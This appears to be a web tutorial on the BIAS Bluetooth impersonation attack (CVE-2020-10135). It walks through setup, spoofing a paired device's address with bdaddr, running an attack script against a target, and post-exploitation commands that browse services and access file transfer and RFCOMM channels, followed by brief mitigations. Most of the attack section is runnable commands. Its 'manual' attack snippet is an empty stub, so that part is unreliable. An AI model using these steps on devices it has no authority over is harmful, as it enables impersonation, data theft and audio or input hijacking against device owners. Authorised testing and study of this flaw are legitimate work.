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BIAS Attack Tutorial

Master Bluetooth Impersonation AttackS (BIAS) to bypass authentication in BR/EDR connections. Understand legacy pairing vulnerabilities and authentication weaknesses.

Intermediate
30 minutes
CVE-2020-10135

Legal and Ethical Warning

This tutorial is for educational and authorized penetration testing purposes only. Only test on devices you own or have explicit written permission to test. Unauthorized access to Bluetooth devices is illegal.

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Attack Overview

BIAS (Bluetooth Impersonation AttackS) is a critical vulnerability that allows attackers to impersonate previously paired devices without knowing the long-term key (LTK). The attack exploits weaknesses in the Bluetooth BR/EDR authentication procedure.

Attack Capabilities:

  • Device Impersonation
  • Authentication Bypass
  • Man-in-the-Middle
  • Data Interception

Technical Details:

  • CVE: CVE-2020-10135
  • Protocol: Bluetooth BR/EDR
  • Attack Vector: Authentication bypass
  • Impact: Complete device impersonation
Vulnerable Devices
Devices affected by BIAS attacks (status as of latest updates)

Apple

iPhone, iPad, MacBook (pre-iOS 13.4)

Patched

Google

Android devices (pre-security patch)

Patched

Microsoft

Windows 10 (pre-update)

Patched

Various

IoT devices, headphones, speakers

Mixed
Prerequisites
Required knowledge, hardware, and software for this tutorial

Hardware Requirements:

  • Linux system with Bluetooth support
  • Two Bluetooth-enabled devices for testing
  • Basic understanding of Bluetooth pairing

Software Requirements:

  • Python 3.6+ with Scapy library
  • Bluetooth development tools (BlueZ)
  • Wireshark for packet analysis
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Step-by-Step Tutorial

1Environment Setup

Set up your testing environment with the required tools:

# Update system and install dependencies
sudo apt update && sudo apt upgrade -y
sudo apt install bluez bluez-tools python3 python3-pip
# Install Python libraries
pip3 install scapy pybluez
# Clone BIAS attack tools
git clone https://github.com/francozappa/bias.git
cd bias

Note: Ensure your Bluetooth adapter supports monitor mode and packet injection. Some USB Bluetooth adapters work better than built-in ones for security testing.

2Target Device Pairing

First, establish a legitimate pairing between the victim devices:

# Enable Bluetooth and make devices discoverable
sudo hciconfig hci0 up
sudo hciconfig hci0 piscan
# Scan for target devices
sudo hcitool scan
# Initiate pairing (from victim device A to B)
sudo bluetoothctl
pair [TARGET_MAC_ADDRESS]
trust [TARGET_MAC_ADDRESS]
connect [TARGET_MAC_ADDRESS]

Document the pairing process and connection details:

# Monitor pairing with Wireshark
sudo wireshark -i bluetooth0 &
# Check paired devices
bluetoothctl paired-devices

3Attack Preparation

Configure the attacking device to impersonate one of the paired devices:

# Set up attacker Bluetooth adapter
sudo hciconfig hci1 down
sudo hciconfig hci1 up
# Change MAC address to impersonate victim device
sudo hciconfig hci1 down
sudo bdaddr -i hci1 [VICTIM_DEVICE_A_MAC]
sudo hciconfig hci1 up
# Verify MAC address change
hciconfig hci1

Important: The bdaddr tool may not work on all Bluetooth adapters. Some adapters have firmware restrictions that prevent MAC address changes.

4BIAS Attack Execution

Execute the BIAS attack to bypass authentication:

# Run BIAS attack script
cd bias
sudo python3 bias_attack.py \
--target [VICTIM_DEVICE_B_MAC] \
--impersonate [VICTIM_DEVICE_A_MAC] \
--interface hci1
# Alternative: Manual attack steps
sudo python3 -c "
import bluetooth
from scapy.all import *
# Custom BIAS implementation
"

Attack Phases:

  • Phase 1: Initiate connection as impersonated device
  • Phase 2: Skip mutual authentication procedure
  • Phase 3: Establish encrypted connection
  • Phase 4: Maintain persistent connection

5Attack Verification

Verify successful authentication bypass and connection establishment:

# Check connection status
sudo hcitool con
# Verify impersonation success
sudo hcitool info [VICTIM_DEVICE_B_MAC]
# Test data transmission
sudo l2ping [VICTIM_DEVICE_B_MAC]
# Monitor traffic
sudo tcpdump -i bluetooth0 -w bias_attack.pcap

Success Indicators:

  • • Connection established without authentication challenge
  • • Victim device accepts impersonated device
  • • Data can be transmitted bidirectionally
  • • No authentication errors in logs

6Post-Exploitation Activities

Demonstrate the impact of successful BIAS attack:

# Enumerate available services
sudo sdptool browse [VICTIM_DEVICE_B_MAC]
# Access file transfer services (if available)
sudo obexftp -b [VICTIM_DEVICE_B_MAC] -l
# Test audio/input services
sudo rfcomm connect 0 [VICTIM_DEVICE_B_MAC] 1
# Document accessible services
echo "Accessible services:" > bias_results.txt
sudo sdptool browse [VICTIM_DEVICE_B_MAC] >> bias_results.txt

Potential Impact:

  • Data Access: File transfer, contacts, messages
  • Audio Hijacking: Intercept or inject audio streams
  • Input Control: Send keystrokes or mouse commands
  • Network Access: Use device as network bridge
Mitigation Strategies

Immediate Actions:

  • • Update device firmware to latest version
  • • Enable Secure Simple Pairing (SSP)
  • • Use strong PIN codes for pairing
  • • Regularly review paired devices list

Long-term Solutions:

  • • Implement mutual authentication checks
  • • Use Bluetooth LE for new implementations
  • • Deploy network access control (NAC)
  • • Regular security assessments
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CVE-2020-10135

Detailed information about the BIAS vulnerability and affected systems.

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